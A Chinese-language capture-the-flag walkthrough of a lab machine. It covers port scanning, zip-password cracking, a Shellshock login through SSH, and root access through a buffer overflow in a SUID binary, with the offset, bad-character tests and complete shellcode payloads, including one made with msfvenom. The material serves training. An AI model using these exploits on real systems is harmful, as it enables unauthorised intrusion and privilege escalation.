一、主機發現
arp-scan?-l
靶機ip:192.168.55.164
二、端口掃描、漏洞掃描、目錄枚舉、指紋識別
2.1端口掃描
nmap?--min-rate?10000?-p-?192.168.55.164
發現21端口的ftp服務開啟
以UDP協議進行掃描
使用參數-sU
進行UDP掃描
nmap?-sU?--min-rate?10000?-p-?192.168.55.164
說明沒有UDP端口開放
2.2漏洞掃描
nmap?--script=vuln?-p21,22,80?192.168.55.164
說明此靶機沒有明顯漏洞
2.3目錄枚舉
dirb?http://192.168.55.164
2.4指紋識別
nmap?192.168.55.164?-sV?-sC?-O?--version-all
指紋識別時看到21端口的ftp服務不能進行匿名登陸
三、進入靶機網頁進行信息收集,拿到低權限shell
訪問靶機網頁,發現只有一張圖片
3.1拿到密碼文件
剛剛目錄枚舉出了一些信息
嘗試在網頁中打開
進去之后發現還是圖片,這里感覺網站已經沒有信息了,之后試了試中間件的漏洞,也沒有合適的
隨后將看到的圖片都下載下來了,然后發現/noob這個目錄下的圖片名稱有提示,讓用cat查看該圖片
去該目錄下尋找答案
發現該文件是base64加密過的,嘗試進行解密
base64?-d?answer.txt?>?1.txt
3.2拿到賬號
這里只有密碼,嘗試去ftp服務找其它信息
根據提示,感覺用戶名就是Tr0ll,密碼也嘗試一下Tr0ll
成功進入ftp服務,將其中的文件下載下來
下載后需要解壓,發現解壓需要密碼
密碼嘗試使用剛剛解碼后的文件,這里使用Fcrackzip工具
fcrackzip?-u?-D?-p?1.txt?lmao.zip?
-u?用zip去嘗試
-D?使用字典
-p?使用字符串作為初始密碼/文件
fcrackzip是一款專門破解zip類型壓縮文件密碼的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,適用于linux、mac?osx?系統。
解壓后是一個私鑰
3.3拿到低權限shell
使用noob用戶進行ssh登錄
ssh?-i?noob?noob@192.168.55.164
提示了sign_and_send_pubkey: no mutual signature supported,表示SSH連接時,客戶端和服務器之間無法就公鑰認證使用的簽名算法達成一致。此時我們要加上一個 -o 參數
ssh?-i?noob?noob@192.168.55.164?-o?PubkeyAcceptedKeyTypes=+ssh-rsa?
發現還是不行,不知道怎么辦了,查資料發現是還有一個漏洞可以利用
發現shellshock攻擊
ssh?-i?noob?noob@192.168.55.164?-o?PubkeyAcceptedKeyTypes=+ssh-rsa?'()?{?:;};?/bin/bash'
成功拿下低權限shell
四、緩沖區溢出提權
升級shell
python?-c?'import?pty;?pty.spawn("/bin/bash")'
4.1靶機信息收集
uname?-a
lsb_release?-a
嘗試sudo提權,發現需要用戶的密碼
尋找SUID的命令
find?/?-perm??-4000?-print?2>/dev/null
查找定時任務
crontab?-l
沒發現有用的信息
只能在目錄中尋找其它信息
在根目錄下找到這個文件,有點“此地無銀三百兩”的意思
進入之后找到了三個門
door1下的r00t會在執行后短時間內不可以執行命令
door2 下的r00t會退出ssh
查看這三個門下的文件大小
ls?-lahR
發現只有7.2k和8.3k兩種
其中8.3k的r00t文件提示需要提供參數
4.2緩沖區溢出漏洞(第一種方法)
4.2.1緩沖區溢出準備工作
首先要做的就是要把該程序拿到kali本機中
將8.3k的文件先進行base64編碼
base64?r00t
然后將編碼后的內容復制到kali中
然后在kali中將編碼后的內容進行解碼
cat?2?|?base64?-d??>r00t
使用gdb進行調試
disas?main
發現存在緩沖區溢出函數
隨后進行緩沖區溢出的調試
4.2.2判斷溢出位置
使用msf的一個腳本
cd?/usr/share/metasploit-framework/tools/exploit
./pattern_create.rb?-l?1000
注:
此處的1000為一個較大的值,可以為500,600等任意一個較大的值
然后在gbd調試時將剛剛生成的值run即可
找到了溢出位置:0x6a413969
4.2.3尋找偏移量
還是在/usr/share/metasploit-framework/tools/exploit
這個目錄下使用msf的腳本
./pattern_offset.rb?-q?6a413969?-l?1000
得知偏移量是268
4.2.4尋找ESP棧溢出地址
r?$(python?-c?'print?("A"*268?+?"B"*4)')???#?在GDB調試工具中?r表示啟動調試當前程序
info?r?#?分析程序調試過程中的狀態,在檢查程序崩潰、調試函數調用及訪問變量時,經常使用,前面已經有一個錯誤Program?received?signal?SIGSEGV,?Segmentation?fault.,所以可以直接使用info?r查看寄存器狀態
eip也被覆蓋
現在要找esp的位置
r?$(python?-c?'print?("A"*268?+?"B"*4+"C"*20)')?
經嘗試,C字符寫入8-20的時候,esp地址均為0xbffffb80
寫入24之后就改變了
獲得esp地址:0xbffffb80
注:
控制EIP跳轉至shellcode,需要將shellcode設置到ESP地址。但在此之前,我們需要找到一個可靠的 ESP 地址。需要注意的是,OS 加載器將環境變量放在變化的堆棧區域之前,因此它會直接影響 ESP 地址。此外,如何調用程序也很重要。
通過取消設置環境變量參數LINES 和 COLUMNS來取消環境變量的影響,獲取真實的ESP地址。
env?-?gdb?r00t
show?env
unset?env?LINES
unset?env?COLUMNS
去Shellcodes database for study cases網站上尋找exp
成功找到
構造payload:
./r00t?$(python?-c?'print?"A"*?268?+?"\x80\xfb\xff\xbf"?+?"\x90"?*20?+?"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
成功提權!
4.3緩沖區溢出(第二種方法)
4.3.1尋找壞字符
此方法跟方法一只是反彈shell的方式不同,反彈shell之前的內容均相同
確定ESP的地址之后尋找壞字符
r?$(python?-c?'print?"A"*268?+?"B"*4?+?"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"?')
查找壞字符:
x/256x?$esp???
x/256b?$esp
兩條命令互相使用,檢查壞字符
0x00是一個壞字符
可知0x09是一個壞字符
去掉后繼續進行測試
r?$(python?-c?'print?"A"*268?+?"B"*4?+?"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"?')
發現依然錯誤,將0x0a去掉繼續嘗試
r?$(python?-c?'print?"A"*268?+?"B"*4?+?"\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"?')
對照發現是0x20是壞字符,去掉繼續嘗試
r?$(python?-c?'print?"A"*268?+?"B"*4?+?"\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"?')
發現后續的均連續,說明壞字符為:\x00\x0a\x09\x20
4.3.2msf編寫payload
msfvenom?-a?x86?-p?linux/x86/exec?CMD=/bin/sh?-b?'\x00\x09\x0a\x20'?-e?x86/shikata_ga_nai?-fc
編寫payload
./r00t?$(python?-c?'print?("A"*268?+?"\x80\xfb\xff\xbf"?+?"\x90"*20?+?"\xba\xa0\x03\xb5\x23\xda\xc8\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x0b\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x55\x69\xbe\x7b\x0c\x3c\xa6\x13\x03\xa2\xaf\x03\x33\x0b\xc3\xa3\xc3\x3b\x0c\x56\xaa\xd5\xdb\x75\x7e\xc2\xd4\x79\x7e\x12\xca\x1b\x17\x7c\x3b\xaf\x8f\x80\x14\x1c\xc6\x60\x57\x22")')
成功提權!